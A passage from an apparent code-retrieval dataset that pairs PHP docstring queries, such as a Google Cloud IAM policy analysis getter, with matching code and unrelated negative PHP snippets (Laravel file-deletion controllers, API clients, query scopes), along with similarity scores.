delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Required. The request query. Generated from protobuf field .google.cloud.asset.v1p4beta1.IamPolicyAnalysisQuery analysis_query = 1 [(.google.api.field_behavior) = REQUIRED];
public function getAnalysisQuery() { return isset($this->analysis_query) ? $this->analysis_query : null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\IamPolicyAnalysisQuery::class);\n $this->analysis_query = $var;\n\n return $this;\n }", "public function setIamPolicyAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1\\IamPolicyAnalysisQuery::class);\n $this->writeOneof(1, $var);\n\n return $this;\n }", "public function getIamPolicyAnalysisQuery()\n {\n return $this->readOneof(1);\n }", "function analyze_iam_policy_sample(string $analysisQueryScope): void\n{\n // Create a client.\n $assetServiceClient = new AssetServiceClient();\n\n // Prepare any non-scalar elements to be passed along with the request.\n $analysisQuery = (new IamPolicyAnalysisQuery())\n ->setScope($analysisQueryScope);\n\n // Call the API and handle any network failures.\n try {\n /** @var AnalyzeIamPolicyResponse $response */\n $response = $assetServiceClient->analyzeIamPolicy($analysisQuery);\n printf('Response data: %s' . PHP_EOL, $response->serializeToJsonString());\n } catch (ApiException $ex) {\n printf('Call failed with message: %s' . PHP_EOL, $ex->getMessage());\n }\n}", "public function setAnalysis($analysis) {\n $this->request->setAnalysis($analysis);\n return $this;\n }", "public function describeCacheAnalysisReport($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->describeCacheAnalysisReportWithOptions($request, $runtime);\n }", "public function testAccessibilityAnalysisResource()\n {\n $mockAdminApi = new MockAdminApi();\n $mockAdminApi->asset(self::$UNIQUE_TEST_ID, ['accessibility_analysis' => true]);\n $lastRequest = $mockAdminApi->getMockHandler()->getLastRequest();\n\n self::assertRequestQueryStringSubset($lastRequest, ['accessibility_analysis' => '1']);\n }", "public function analyze($query) {\n \n $startTime = microtime(true);\n \n return array(\n 'query' => $query,\n 'language' => $this->context->dictionary->language,\n 'analyze' => $this->process($query),\n 'processingTime' => microtime(true) - $startTime\n );\n \n }", "public function requestAnalysis() {\n $this->getTransaction()->tagAsAnalysisSent($this);\n }", "public function analysis()\n {\n return 'files.analysis.analysis';\n }", "public static function analysisName(string $project, string $location, string $conversation, string $analysis): string\n {\n return self::getPathTemplate('analysis')->render([\n 'project' => $project,\n 'location' => $location,\n 'conversation' => $conversation,\n 'analysis' => $analysis,\n ]);\n }", "public function getAnalysisKind()\n {\n return $this->analysis_kind;\n }", "public function getName()\n {\n return 'audience_analysis';\n }", "public function getQueryAnalysis()\n {\n foreach ($this->items as $item) {\n if ('query' == $item->getName()) {\n return $item;\n }\n }\n }", "public function analyzeAndBuildSummaryReport(DeveloperQuery $analysisQuery)\n {\n $providerReports = [];\n foreach ($analysisQuery->getDeveloperIds() as $providerName => $developerId) {\n /** @var DeveloperProviderInterface $provider */\n if ($provider = $this->providerRegistry->get($providerName)) {\n $providerReports[$providerName] = $provider->analyzeAndBuildSummaryReport($developerId);\n }\n }\n\n $summaryEssence = $this->essenceResolver->resolve($providerReports);\n $summaryReport = new SummaryReport($summaryEssence, $providerReports);\n\n return $summaryReport;\n }", "public function describeCacheAnalysisReportWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->analysisType)) {\n $query['AnalysisType'] = $request->analysisType;\n }\n if (!Utils::isUnset($request->date)) {\n $query['Date'] = $request->date;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReport',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function createCacheAnalysisTask($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->createCacheAnalysisTaskWithOptions($request, $runtime);\n }", "public function describeCacheAnalysisReportList($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->describeCacheAnalysisReportListWithOptions($request, $runtime);\n }", "public function setOptions($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\AnalyzeIamPolicyRequest\\Options::class);\n $this->options = $var;\n\n return $this;\n }", "public function getType(): string\n {\n return Client::QUERY_ANALYSIS_FIELD;\n }", "public function getSubscriptionQueryRequest()\n {\n return $this->readOneof(3);\n }", "public function getAnalysisUrl() {\n return;\n }", "function callSample(): void\n{\n $analysisQueryScope = '[SCOPE]';\n\n analyze_iam_policy_sample($analysisQueryScope);\n}", "public function actionAnalysis() { \r\n \t$currentTs = time();\r\n \t$request = Yii::$app->request;\r\n \t$identity = \\Yii::$app->user->getIdentity();\r\n \r\n \t$q = trim($request->post('q', $request->get('q', '')));\r\n \r\n \t$query = analysis::find();\r\n \t$query->orderBy(['id'=>SORT_ASC]);\r\n \r\n \t \r\n \t$op = $request->post('op', $request->get('opss', ''));\r\n \tif ($op == \"search\") {\r\n \t if (!empty($_REQUEST['type'])){\r\n \t\t\t$type = $_REQUEST['type'];\r\n \t\t\tif($type != 0){\r\n \t\t\t\t$queryf = pond::find();\r\n \t\t\t\t$queryf->andWhere(['type'=> $type]);\r\n \t\t\t\t$pondf = $queryf->all();\r\n \t\t\t\tforeach ($pondf as $obj){\r\n \t\t\t\t\t$arrId[] = $obj->id;\r\n \t\t\t\t}\r\n \t\t\t\t \r\n \t\t\t\tif($arrId){\r\n \t\t\t\t\t$query->andWhere(['pondId'=> $arrId]);\r\n \t\t\t\t}\r\n \t\t\t}\r\n \t\t}\r\n \t\t \r\n \t\tif (!empty($_REQUEST['q'])){\r\n \t\t\t$item = $_REQUEST['q'];\r\n \t\t\t$query->andWhere(['LIKE' ,'title','%'.$item.'%', false]);\r\n \t\t}\r\n \t}\r\n\r\n \t\t\tif ($q)\r\n \t\t\t\t$query->andWhere(['LIKE' ,'name','%'.$q.'%', false]);\r\n \t\t\t\t\t\r\n \t\t\t\t\t\r\n \t\t\t\t//actions\r\n \t\t\t\tswitch ($request->post('op')){\r\n \t\t\t\t\tcase 'delete':\r\n \t\t\t\t\t\t$this->analysisDelete();\r\n \t\t\t\t\t\tbreak;\r\n \t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\t//paging\r\n \t\t\t\t$pagination = new Pagination([\r\n \t\t\t\t\t\t'defaultPageSize' => \\Yii::$app->params['ui']['defaultPageSize'],\r\n \t\t\t\t\t\t'totalCount' => $query->count(),\r\n \t\t\t\t]);\r\n \t\t\t\t$pagination->params = [\r\n \t\t\t\t\t\t'q'=>$q,\r\n \t\t\t\t\t\t'page'=>$pagination->page,\r\n \t\t\t\t];\r\n \t\t\t\t$query->offset($pagination->offset);\r\n \t\t\t\t$query->limit($pagination->limit);\r\n \t\t\t\t\t\r\n \t\t\t\t$list = $query->all();\r\n \t\t\t\t\t\r\n \t\t\t\t//get users\r\n \t\t\t\t$arrId = [];\r\n \t\t\t\t$arrUser = [];\r\n \t\t\t\t$arrPond = [];\r\n \t\t\t\tif (!empty($list)){\r\n \t\t\t\t\tforeach ($list as $obj){\r\n \t\t\t\t\t\t$arrId[] = $obj->createBy;\r\n \t\t\t\t\t}\r\n \t\t\t\t\t$modelsUser = User::find()->where(['id'=>$arrId])->all();\r\n \t\t\t\t\tif(!empty($modelsUser)){\r\n \t\t\t\t\t\tforeach ($modelsUser as $obj){\r\n \t\t\t\t\t\t\t$arrUser[$obj->id] = $obj->firstName.' '.$obj->lastName;\r\n \t\t\t\t\t\t}\r\n \t\t\t\t\t}\r\n \r\n \t\t\t\t\t$objPond = Pond::find()->orderBy(['id'=>SORT_ASC])->all();\r\n \t\t\t\t\tforeach ($objPond as $dataPond){\r\n \t\t\t\t\t\t$objTypelist = Typelist::find()->where(['id'=>$dataPond->type])->all();\r\n \t\t\t\t\t\tforeach ($objTypelist as $obj){\r\n \t\t\t\t\t\t\t$arrPond[$dataPond->id] = $obj->name.' '.$dataPond->title;\r\n \t\t\t\t\t\t}\r\n \t\t\t\t\t\t\t\r\n \t\t\t\t\t}\r\n \t\t\t\t}\r\n \r\n \t\t\t\t$query = Typelist::find();\r\n \t\t\t\t$query->orderBy(['id'=>SORT_ASC]);\r\n \t\t\t\t$objTypelist = $query->all();\r\n \t\t\t\t$arrTypelist = [];\r\n \t\t\t\tforeach ($objTypelist as $dataTypelist){\r\n \t\t\t\t\t$arrTypelist[$dataTypelist->id] = $dataTypelist->name;\r\n \t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\techo $this->render('analysis', [\r\n \t\t\t\t\t\t'lst' => $list,\r\n \t\t\t\t\t\t'arrTypelist'=>$arrTypelist,\r\n \t\t\t\t\t\t'arrPond' => $arrPond,\r\n \t\t\t\t\t\t'pagination' => $pagination,\r\n \t\t\t\t\t\t'arrUser' =>$arrUser,\r\n \t\t\t\t\t\t'q'=>$q,\r\n \t\t\t\t]);\r\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Io\\Axoniq\\Axonserver\\Grpc\\Query\\QueryRequest::class);\n $this->writeOneof(2, $var);\n\n return $this;\n }", "public function get_query() {\n\t return $this->decodedWebhook['queryResult']['queryText'];\n }", "public function scopeWhereIsOrganization($query)\n {\n return $query->whereNotNull('organization_goal_id');\n }", "public function ask(Query $query)\n {\n $numOfMatches = preg_match('/(?<query>ASK([^}]+)})/ims', $query);\n if($numOfMatches === 0) {\n throw new RepositoryException(\"Could not find ASK statement in SPARQL query: '\" . str_ireplace(\"\\n\", \"\\\\n\", $query));\n }\n\n $response = $this->_query($query, 'query', 'GET', ContentType::APPLICATION_SPARQL_XML);\n\n if(empty($response)) {\n throw new RepositoryException(\"Invalid endpoint response.\");\n }\n\n try {\n $xmlObject = new \\SimpleXMLElement($response);\n } catch(\\Exception $e) {\n throw new RepositoryException($e->getMessage(), $e->getCode(), $e);\n }\n\n if(!isset($xmlObject->boolean)) {\n throw new RepositoryException(\"Could not interpret response.\");\n }\n\n return ((string)$xmlObject->boolean === \"true\");\n }", "public function hasAnalysis()\n {\n return false;\n }", "public function query()\n {\n $query = Verification::query();\n\n return $this->applyScopes($query);\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Datastore\\V1\\Query::class);\n $this->query = $var;\n\n return $this;\n }", "public function query() {\n // Leave empty to avoid a query on this field.\n }", "public function scopeAN($query, $an)\n {\n return $query->where('accession_number', '=', $an);\n }", "protected function getNetworkTrafficAnalysisRequest($network_id)\n {\n // verify the required parameter 'network_id' is set\n if ($network_id === null || (is_array($network_id) && count($network_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $network_id when calling getNetworkTrafficAnalysis'\n );\n }\n\n $resourcePath = '/networks/{networkId}/trafficAnalysis';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n // path params\n if ($network_id !== null) {\n $resourcePath = str_replace(\n '{' . 'networkId' . '}',\n ObjectSerializer::toPathValue($network_id),\n $resourcePath\n );\n }\n\n // body params\n $_tempBody = null;\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n \n if($headers['Content-Type'] === 'application/json') {\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass) {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n // array has no __toString(), so we should encode it manually\n if(is_array($httpBody)) {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($httpBody));\n }\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('X-Cisco-Meraki-API-Key');\n if ($apiKey !== null) {\n $headers['X-Cisco-Meraki-API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'GET',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "public function getAnalysisSummary()\n\t {\n\t return $this->_analysisSummary;\n\t }", "public function query() {\n if (!$this->servicesHealthStatus->getFetcherState()) {\n $this->messenger->addError(t('The fetcher services does not responding'));\n return [];\n }\n\n $query = <<<'GRAPHQL'\n query {\n systemField {\n Id\n Label\n }\n reportsType {\n Id\n Label\n }\n fromYearRange {\n Years\n Quarters {\n Id\n Label\n }\n }\n toYearRange {\n Years\n Quarters {\n Id\n Label\n }\n }\n }\n GRAPHQL;\n\n $response = $this->sendQuery($query);\n return json_decode($response, true)['data'];\n }", "protected function getFarmQuery()\n {\n return $this->farmQuery;\n }", "function statistics($query = array()) {\n $params = array_merge($this->_client_id_param, $query);\n return $this->get_request_with_params($this->_base_route.'transactional/statistics', $params);\n }", "public function rules()\n {\n return [\n 'query' => 'required',\n ];\n }", "public function isAnalyzing() {\n\t\treturn $this->_isAnalyzing;\n\t}", "public function metadataQuery(array $metadataQuery = null) {\n if ($metadataQuery === null) {\n return $this->metadataQuery;\n }\n\n $this->metadataQuery = $metadataQuery;\n\n return $this;\n }", "public function aggregation($query) {\n $url = $this->urlWrapper() . URLResources::QUERY_AGGREGATION;\n return $this->makeRequest($url, \"POST\", 0, $query);\n }", "public function testMissingParametersGetRawAnalysisAnalysisId() {\n $this->pingdom->getRawAnalysis(12345678, null);\n }", "public function scopeWhereOrganization($query, $organization)\n {\n if ($organization === null || is_array($organization))\n return $query;\n return $query->select('action_goals.*')\n ->join('organization_goals', 'organization_goals.id', '=', 'action_goals.organization_goal_id')\n ->where('organization_goals.organization_id', is_object($organization) ? $organization->id : $organization);\n }", "public function check_query($project, $query_params, $parent_query_id = 0, $quota = null) {\n\t\tif (!is_null($quota)) {\n\t\t\t$query_name = 'Lucid #' . $project['FedSurvey']['fed_survey_id'] . ' Quota #' . $quota['SurveyQuotaID'];\n\t\t\t$query_old_name = 'Fulcrum #' . $project['FedSurvey']['fed_survey_id'] . ' Quota #' . $quota['SurveyQuotaID'];\n\t\t}\n\t\telse {\n\t\t\t$query_name = 'Lucid #' . $project['FedSurvey']['fed_survey_id'] . ' Qualifications';\n\t\t\t$query_old_name = 'Fulcrum #' . $project['FedSurvey']['fed_survey_id'] . ' Qualifications';\n\t\t}\n\t\t\n\t\t$query = $this->Query->find('first', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Query.query_name' => array($query_name, $query_old_name),\n\t\t\t\t'Query.survey_id' => $project['Project']['id']\n\t\t\t),\n\t\t\t'order' => 'Query.id DESC' // multiple queries can exist with same name: retrieve the last one\n\t\t));\n\t\t\n\t\tif ($query) {\n\t\t\t$query_id = $query['Query']['id'];\n\t\t}\n\t\t\n\t\tif (isset($query_params['postal_code'])) {\n\t\t\t$query_params['postal_code'] = array_values(array_unique($query_params['postal_code']));\n\t\t}\n\t\t\n\t\t// if we've matched against hispanic, then add the ethnicity values\n\t\tif (isset($query_params['hispanic']) && !empty($query_params['hispanic'])) {\n\t\t\tif (isset($query_params['ethnicity']) && !in_array(4, $query_params['ethnicity'])) {\n\t\t\t\t$query_params['ethnicity'][] = 4; // hardcode hispanics\n\t\t\t}\n\t\t\telseif (!isset($query_params['ethnicity'])) {\n\t\t\t\t$query_params['ethnicity'] = array(4); // hardcode hispanics\n\t\t\t}\n\t\t}\n\n\t\t// Remove duplicates.\n\t\tif (isset($query_params['ethnicity'])) {\n\t\t\t$query_params['ethnicity'] = array_values(array_unique($query_params['ethnicity']));\n\t\t}\n\t\t\n\t\t$create_new_query = false;\n\t\tif (!$query) {\n\t\t\t$create_new_query = true;\n\t\t}\n\t\telseif ($query && json_encode($query_params) != $query['Query']['query_string']) {\n\t\t\t$create_new_query = true;\n\t\t\t$query_history_ids = Set::extract('/QueryHistory/id', $query);\n\t\t\t$this->Query->delete($query_id);\n\t\t\tforeach ($query_history_ids as $query_history_id) {\n\t\t\t\t$this->Query->QueryHistory->delete($query_history_id);\n\t\t\t}\n\t\t\t\n\t\t\t$survey_users = $this->SurveyUser->find('all', array(\n\t\t\t\t'fields' => array('id', 'user_id', 'survey_id'),\n\t\t\t\t'recursive' => -1,\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'SurveyUser.survey_id' => $project['Project']['id'],\n\t\t\t\t\t'SurveyUser.query_history_id' => $query_history_ids\n\t\t\t\t)\n\t\t\t));\n\n\t\t\t$str = '';\n\t\t\tif ($survey_users) {\n\t\t\t\tforeach ($survey_users as $survey_user) {\n\t\t\t\t\t$count = $this->SurveyUserVisit->find('count', array(\n\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t'SurveyUserVisit.user_id' => $survey_user['SurveyUser']['user_id'],\n\t\t\t\t\t\t\t'SurveyUserVisit.survey_id' => $survey_user['SurveyUser']['survey_id'],\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t\n\t\t\t\t\tif ($count < 1) {\n\t\t\t\t\t\t$this->SurveyUser->delete($survey_user['SurveyUser']['id']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$str = 'Survey users deleted.';\n\t\t\t}\n\t\t\t\n\t\t\t$this->ProjectLog->create();\n\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t'type' => 'query.deleted',\n\t\t\t\t'description' => 'Query.id ' . $query_id . ' deleted, because qualifications updated. ' . $str\n\t\t\t)));\n\t\t}\n\t\telseif ($quota) { // Check if quota has changed\n\t\t\t$query_statistic = $this->QueryStatistic->find('first', array(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'QueryStatistic.query_id' => $query_id\n\t\t\t\t)\n\t\t\t));\n\t\t\n\t\t\tif ($query_statistic && $query_statistic['QueryStatistic']['quota'] != ($quota['NumberOfRespondents'] + $query_statistic['QueryStatistic']['completes'])) {\n\t\t\t\t$this->QueryStatistic->create();\n\t\t\t\t$this->QueryStatistic->save(array('QueryStatistic' => array(\n\t\t\t\t\t'id' => $query_statistic['QueryStatistic']['id'],\n\t\t\t\t\t'quota' => $quota['NumberOfRespondents'] + $query_statistic['QueryStatistic']['completes'],\n\t\t\t\t\t'closed' => !is_null($quota) && empty($quota['NumberOfRespondents']) ? date(DB_DATETIME) : null\n\t\t\t\t)), true, array('quota', 'closed'));\n\t\t\t}\n\t\t}\n\n\t\tif ($create_new_query) {\n\t\t\tif (count($query_params) == 1 && key($query_params) == 'country') {\n\t\t\t\t$total = FED_MAGIC_NUMBER; // hardcode this because of memory issues\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$results = QueryEngine::execute($query_params);\n\t\t\t\t$total = $results['count']['total'];\n\t\t\t}\n\t\t\t\n\t\t\t$querySource = $this->Query->getDataSource();\n\t\t\t$querySource->begin();\n\t\t\t$this->Query->create();\n\t\t\t$save = $this->Query->save(array('Query' => array(\n\t\t\t\t'parent_id' => $parent_query_id,\n\t\t\t\t'query_name' => $query_name,\n\t\t\t\t'query_string' => json_encode($query_params),\n\t\t\t\t'survey_id' => $project['Project']['id']\n\t\t\t))); \n\t\t\tif ($save) {\n\t\t\t\t$query_id = 